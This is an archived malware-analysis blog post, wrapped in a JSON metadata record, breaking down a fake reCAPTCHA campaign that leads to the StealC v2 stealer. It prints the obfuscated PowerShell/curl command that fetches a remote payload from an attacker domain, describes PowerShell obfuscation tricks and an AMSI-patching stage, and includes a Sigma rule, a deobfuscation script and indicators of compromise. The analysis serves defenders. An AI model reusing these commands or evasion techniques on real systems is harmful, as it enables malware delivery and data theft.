{
	"id": "8331db85-35c7-4f14-b6bd-a9ac8b16f2f8",
	"created_at": "2026-04-06T00:17:28.234232Z",
	"updated_at": "2026-04-10T13:12:24.250443Z",
	"deleted_at": null,
	"sha1_hash": "b815c62bdbaacd154cd6364b3b9065837cdee61f",
	"title": "Breaking Down A Multi-Stage PowerShell Infection",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 9445294,
	"plain_text": "Breaking Down A Multi-Stage PowerShell Infection\r\nArchived: 2026-04-05 19:51:57 UTC\r\n1.\r\n2. Blog\r\n3. Breaking Down A Multi-Stage PowerShell Infection\r\nPrevious Post Analyzing Vidar Stealer\r\nNext Post Cipher Hunt: How to Detect Encryption Algorithms in Malware\r\nOverview\r\nFake reCAPTCHA campaigns are nothing new in the cyber threat landscape. Despite their simplicity, these\r\ncampaigns are surprisingly effective at tricking users.\r\nThe technique is straightforward: the victim is shown a fake reCAPTCHA page that instructs them to verify their\r\nidentity by pasting a PowerShell command into the Windows Run dialog. This seemingly harmless action initiates\r\nthe infection chain.\r\nThis article will focus on deobfuscating and analyzing the infection chain step by step, all the way to the final\r\npayload. It will also break down and explain the various techniques used by the attacker.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 1 of 18\n\nHere’s a high-level diagram of the infection chain:\r\n1st Stage Analysis\r\nWe can see the infamous fake reCAPTCHA page. Upon clicking “I’m not a robot,” a prompt pops up, providing\r\nus with clear instructions regarding the “verification” process.\r\nIf we follow the instructions, we notice that something is copied to our clipboard. At first glance, this doesn’t\r\nappear alarming.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 2 of 18\n\nHowever, when we paste the command into a text editor, we quickly realize it reveals something much different\r\nfrom what we initially expected.\r\nPoWERSHElL -w M\"in\"i\"m\"ized c\"Url.E\"X\"e\" -k -L --\"re\"try 9\"9\"9 ht\"tps:/\"/\"dy\"b\"e\"p.fu\"n\"/\"fb8\"8\"c\r\nBefore we delve into the specifics of what this command does and the techniques it employs, it’s crucial to first\r\nunderstand how this command made its way into our clipboard.\r\nLooking at the HTML source code, we can see the initialization of a new \u003cscript\u003e tag, followed by obfuscated\r\nJavaScript code.\r\nThe obfuscator used here is Obfuscator.io, a free, open-source tool designed to obfuscate JavaScript code. This\r\ntool is commonly used by threat actors and malware authors.\r\nUsing a deobfuscator for Obfuscator.io reveals much cleaner and more readable code.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 3 of 18\n\nThis code is still somewhat obfuscated, so let’s manually deobfuscate it to fully understand what’s going on.\r\nAfter renaming some variables to more meaningful names, we can clearly see that this script creates an element\r\nnamed textarea , sets its content to a Base64-encoded string, and then decodes it using window.atob() . After\r\nthat, it uses document.execCommand(\"copy\") to copy the decoded content to the victim’s clipboard.\r\nNow that we have a better understanding of the code and its functionality, let’s pivot to the actual PowerShell\r\ncommand:\r\nPoWERSHElL -w M\"in\"i\"m\"ized c\"Url.E\"X\"e\" -k -L --\"re\"try 9\"9\"9 ht\"tps:/\"/\"dy\"b\"e\"p.fu\"n\"/\"fb8\"8\"c\r\nWe can see a number of techniques implemented here:\r\ncase‐altered obfuscation\r\nstring splitting obfuscation\r\nBoth techniques are primarily used to evade static detection and are quite easy to implement. Let’s go over each\r\nand explain different ways they can be applied.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 4 of 18\n\nCase‐altered obfuscation\r\nAttackers exploit PowerShell’s inherent case-insensitivity, where cmdlets, parameters, and operators ignore letter\r\ncase, by randomly or deliberately mixing uppercase and lowercase characters within commands and parameters.\r\nFor example, instead of writing powershell , an attacker might write PoWeRShELL to evade static detection by\r\nsecurity tools.\r\nIn our example the attacker used this technique several times -\r\nPoWERSHElL ---\u003e PowerShell\r\ncUrl.EXe --\u003e curl.exe\r\nString splitting obfuscation\r\nAnother common technique is splitting a string into multiple parts and reconstructing it at runtime. This tactic is\r\noften used to evade static detection by breaking up known malicious patterns.\r\nFor example, we can create a Sigma rule that looks for curl.exe execution. Using string-splitting-based\r\nobfuscation evades this rule because the literal curl.exe never appears in the command line, it’s constructed at\r\nruntime from multiple parts. However, by leveraging PowerShell Script Block Logging (Event ID 4104), which\r\nrecords the fully deobfuscated script as it’s executed, this obfuscation becomes ineffective because the log\r\ncontains the assembled command in clear text\r\ntitle: Curl Execution\r\nid: 123-456-678-890\r\nlogsource:\r\n product: windows\r\n service: security\r\ndetection:\r\n selection:\r\n CommandLine|contains: 'curl.exe'\r\n condition: selection\r\nThere are multiple ways to implement string splitting obfuscation.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 5 of 18\n\nUsing Plus-Operator Concatenation\r\nPowerShell’s addition operator ( + ) can concatenate string literals at runtime, e.g.:\r\n$url = 'h' + 'ttps://' + 'aviab.com' + '/payload.ps1'\r\nUsing the -Join Operator\r\nBy placing fragments in an array and joining them, you prevent static detections of the assembled string:\r\n$parts = 'ht','tp','s:','//av','iab','.com'\r\n$url = $parts -Join ''\r\nThe -Join '' collapses the array into the full URL only at execution time\r\nUsing the Format Operator (-f)\r\nThe format operator reorders and injects substrings according to placeholders:\r\n\u0026 (\"{1}{0}\" -f 'ab','avi')\r\nUsing Array Slicing and Reversal\r\nYou can slice and reverse a character array to stealthily reconstruct strings:\r\n-join ([char[]]'1baiva'[-1..-6])\r\nNow that we’ve discussed some of the techniques used by the attacker, let’s analyze the entire command:\r\nPowerShell -w Minimized curl.exe -k -L --retry 999 hxxps[://]dybep[.]fun/fb88c1eb21d4fe2712723729\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 6 of 18\n\nWe can see that the attacker runs PowerShell with the -WindowStyle Minimized ( -w Minimized ) flag to launch\r\na minimized window, reducing the chance of the user noticing. Then, curl.exe is used with the -k (ignore\r\ncertificate errors), -L (follow redirects), and --retry 999 (try up to 999 times) options to fetch a remote\r\npayload from dybep[.]fun .\r\nThe downloaded content is piped ( | ) directly into another PowerShell instance using powershell - , which\r\ntells PowerShell to read and execute commands from standard input (i.e. the result of the curl request).\r\nThe part after the semicolon ( ; ) - 🌐 Access Guard: Validation. RefID: 45ab26cf05b6abc95f is not\r\nexecuted. It’s simply a comment, used as social engineering to make the command look like a benign system\r\nmessage. This is particularly misleading in the Run dialog ( Win+R ), which only displays the part of the\r\ncommand after the semicolon, making the malicious portion less obvious.\r\n2nd Stage Analysis\r\nFollowing the website the initial command got the next stage from we can see the following.\r\nWe can see a highly obfuscated PowerShell script that doesn’t reveal much at the moment.\r\nThe script repeats the same pattern, with the only difference being the number of spaces.\r\n\u0026(([char](' '.Length))\r\n+([char](' '.Length))\r\n+([char](' '.Length)))\r\n+(([char](' '.Length))\r\n+([char](' '.Length))\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 7 of 18\n\n\u003c....\u003e\r\nThis technique is quite interesting. At the beginning, we see the call operator ( \u0026 ), which allows you to execute a\r\ncommand, script, or function in PowerShell. Following that, the script calculates the length of the spaces and\r\ninserts that value into the array.\r\nIf you haven’t figured it out already, this technique is called whitespace‐length obfuscation, which uses the\r\nlength of whitespace to calculate valid ASCII codes and construct a string.\r\nHere’s an example to help illustrate it better.\r\n\u0026(\r\n [char](' ' * 72).Length +\r\n [char](' ' * 73).Length\r\n)\r\nThis short example shows exactly how this technique works. We simply create strings of spaces whose lengths\r\nmatch the ASCII codes we want, convert those lengths to characters with [char] , and then use the call operator\r\n( \u0026 ) to execute the resulting string.\r\nAfter understanding the logic behind this obfuscation technique, the process becomes quite straightforward. We\r\ncan simply replace the call operator with Write-Host to print the deobfuscated output.\r\nAlternatively, we could write a short Python script that uses regular expressions to count the number of spaces,\r\nconvert them into ASCII characters, and display the result.\r\nLet’s try both approaches. First, we can simply replace the call operator at the beginning of the script with\r\nWrite-Host , which will defang the script and just print out the output of the script.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 8 of 18\n\nAlternatively, we can write a short Python script to deobfuscate the code:\r\nimport re\r\nobfuscated = \"\"\"\r\n obfuscated code here\r\n\"\"\"\r\nmatches = re.findall(r\"\\[char\\]\\('([ ]+)'\\.Length\\)\", obfuscated)\r\ndecoded = ''.join(chr(len(s)) for s in matches)\r\nprint(f\"the result is \\n{decoded}\")\r\nEither method will produce the following output:\r\nThis stage encompasses a few new obfuscation techniques that we’ll briefly go over.\r\nShorthand Parameters\r\nIn PowerShell, many cmdlet parameters can be abbreviated to their shortest unique form. For instance, -\r\nNoProfile can be shortened to -NoP , and -ExecutionPolicy to -Ex . While this feature is designed for\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 9 of 18\n\nconvenience, attackers often exploit it as an obfuscation technique to make scripts harder to read and analyze. For\r\nexample, the use of '-NoP','-Ex','Bypass','-C' is equivalent to '-NoProfile', '-ExecutionPolicy', '-\r\nCommand'\r\nVariable Aliasing\r\nPowerShell allows the creation of aliases, alternate names for cmdlets, functions, scripts, or executable files. This\r\nmeans that a longer cmdlet name can be represented by a shorter alias, simplifying command usage. For example,\r\nthe use of SI for Set-Item , SV for Set-Variable , and GCI for Get-ChildItem\r\nUse of Where Clauses with Wildcards\r\nIn PowerShell, the Where-Object cmdlet is used to filter objects based on specified conditions. When combined\r\nwith wildcard patterns, it allows for flexible and dynamic filtering of object properties. This technique is often\r\nemployed to obfuscate code, making it less readable and harder to analyze.\r\nFor example, we can use Where-Object to find all text files in a certain directory:\r\nGet-ChildItem | Where-Object { $_.Name -like '*.txt' }\r\nIn obfuscated scripts, wildcards can be used to dynamically select methods:\r\n$method = $object | Get-Member | Where-Object { $_.Name -clike '*wn*d*g*' }\r\nwhich corresponds to DownloadString\r\nAfter deobfuscating the script, we obtain the following:\r\nThis essentially retrieves the content from the specified URL and executes it directly in memory.\r\n3rd Stage Analysis\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 10 of 18\n\nAfter accessing the website containing the next stage, we observed the following:\r\nThis stage was heavily obfuscated and long, approximately 70,000 lines making manual deobfuscation highly\r\ntime-consuming.\r\nThis script uses multiple obfuscation techniques, including complex control flow, dynamic value and string\r\ncalculations, switch-case logic, and math-based loops, likely to manipulate execution and evade detection. It also\r\nrelies on string obfuscation and control flow manipulation to hide behavior and conditionally execute code.\r\nWith that in mind, I decided to tackle it using dynamic analysis and let the script handle the deobfuscation for me.\r\nI looked for interesting elements in the script, anything that deviated from the overall pattern. After some time, I\r\nfound a byte array at the end of the script that looked promising. Upon closer inspection, it appeared that the array\r\nwas encrypted using XOR, with the key being generated at runtime before the array was decrypted.\r\nLet’s take a look at it\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 11 of 18\n\nAt this point, it’s pretty hard to make sense of everything, but there are some subtle hints. It looks like the byte\r\narray is being manipulated, probably decrypted using a key that’s generated at runtime.\r\nWe’ll now try to get all the relevant variables at runtime, just print them and try to make sense of what’s going on.\r\nPrinting all the variables used near the end of the script yielded quite interesting results.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 12 of 18\n\nWe found the XOR key which is in the JQSnViepUWABkv variable, it seems like the key corresponds to the string\r\nAMSI_RESULT_NOT_DETECTED which is quite interesting.\r\nAfter changing the variables we get this\r\nThis is much better than what we had before. We can now clearly see that the script is generating an XOR key\r\nusing the string AMSI_RESULT_NOT_DETECTED . It then proceeds by decoding the byte array, decrypting it within a\r\nfor loop, and invoking it in memory.\r\nNow that we know all this, we can defang the script by removing the invocation and simply print the result of the\r\ndecryption without executing it.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 13 of 18\n\nBefore executing, we just need to remove the $Invoke method to defang the script and then print the\r\n$decodedByteArray so we can move on to the next stage. Doing so resulted in the following stage:\r\nFinal Stage Analysis\r\nIn this stage, we can see the following code appears to patch AMSI by scanning the process’s memory regions,\r\nmodifying memory protection if necessary, and then iterating over the buffer containing the AMSI signature to\r\noverwrite it with null bytes. After patching AMSI the script loads PE file into memory.\r\nFor those unfamiliar with AMSI, the Antimalware Scan Interface (AMSI) is a Windows feature that allows\r\napplications and scripts to be scanned for malicious content in real-time by integrating with antivirus or endpoint\r\ndetection and response (EDR) solutions.\r\nThe script constructs a string named AmsiScanBuffer and saves it to the $signature variable. This string is\r\nused to scan memory during the AMSI patching process.\r\nThe script then loops through the memory regions and checks if each region is both readable and writable using\r\nthe IsReadable function. If a region is not readable and writable, the script continues to the next region.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 14 of 18\n\nIn addition, it filters for clr.dll , which is commonly loaded by .NET applications like PowerShell. This likely\r\nmeans it targets only .NET-based processes.\r\nNext, the script loops through the memory regions, looks for the AMSI function name, and then patches it by\r\noverwriting it with null bytes.\r\nAfter patching AMSI, the script decodes a base64-encoded blob and executes it in memory.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 15 of 18\n\nIf we take that blob into CyberChef and decode the base64 ourselves, we’ll see that it contains a PE file.\r\nThe file in question appears to be an obfuscated .NET executable, which unpacks another stage and based on the\r\nsignatures, is identified as StealC v2.\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 16 of 18\n\nSummary\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 17 of 18\n\nIn this article, we explored several obfuscation techniques used by attackers. As threat actors continue to evolve\r\nand develop new methods to evade detection and bypass security tools, it’s crucial for defenders to continuously\r\nimprove their skills and stay one step ahead.\r\nIndicators Of Compromise (IOC)\r\nIndicators Type Description\r\n284abaa6b03c28bd5361afac5f45018c2d50487b12ee10ff33c9289efa29f8e4 SHA256\r\n095673da0aff9740a93acabc66a0302635518064bccda6f7f9f427feca8c07b1 SHA256\r\n5e4c4189bf3aebad2f6080e497549b137bfca1b96bf849b08d7337977b714b3d SHA256\r\nf58a2d4aa2e4a0dba822535cf171a00a35b1d42a1f397a04dcd7c21a7543c9cb SHA256\r\nhxxps[://]khaanabkt[.]fly[.]storage[.]tigris[.]dev/chaayeproceednext[.]html URL\r\nhxxps[://]dybep[.]fun/fb88c1eb21d4fe2712723729ad2fe738[.]txt URL\r\nhxxps[://]mq[.]dybep[.]fun/svml_dispmd URL\r\nPrevious Post Analyzing Vidar Stealer\r\nNext Post Cipher Hunt: How to Detect Encryption Algorithms in Malware\r\nSource: https://aviab1.github.io/blog/powershell-infection-2025/\r\nhttps://aviab1.github.io/blog/powershell-infection-2025/\r\nPage 18 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://aviab1.github.io/blog/powershell-infection-2025/"
	],
	"report_names": [
		"powershell-infection-2025"
	],
	"threat_actors": [
		{
			"id": "2864e40a-f233-4618-ac61-b03760a41cbb",
			"created_at": "2023-12-01T02:02:34.272108Z",
			"updated_at": "2026-04-10T02:00:04.97558Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "ETDA:WildCard",
			"tools": [
				"RustDown",
				"SysJoker"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "256a6a2d-e8a2-4497-b399-628a7fad4b3e",
			"created_at": "2023-11-30T02:00:07.299845Z",
			"updated_at": "2026-04-10T02:00:03.484788Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "MISPGALAXY:WildCard",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434648,
	"ts_updated_at": 1775826744,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b815c62bdbaacd154cd6364b3b9065837cdee61f.pdf",
		"text": "https://archive.orkl.eu/b815c62bdbaacd154cd6364b3b9065837cdee61f.txt",
		"img": "https://archive.orkl.eu/b815c62bdbaacd154cd6364b3b9065837cdee61f.jpg"
	}
}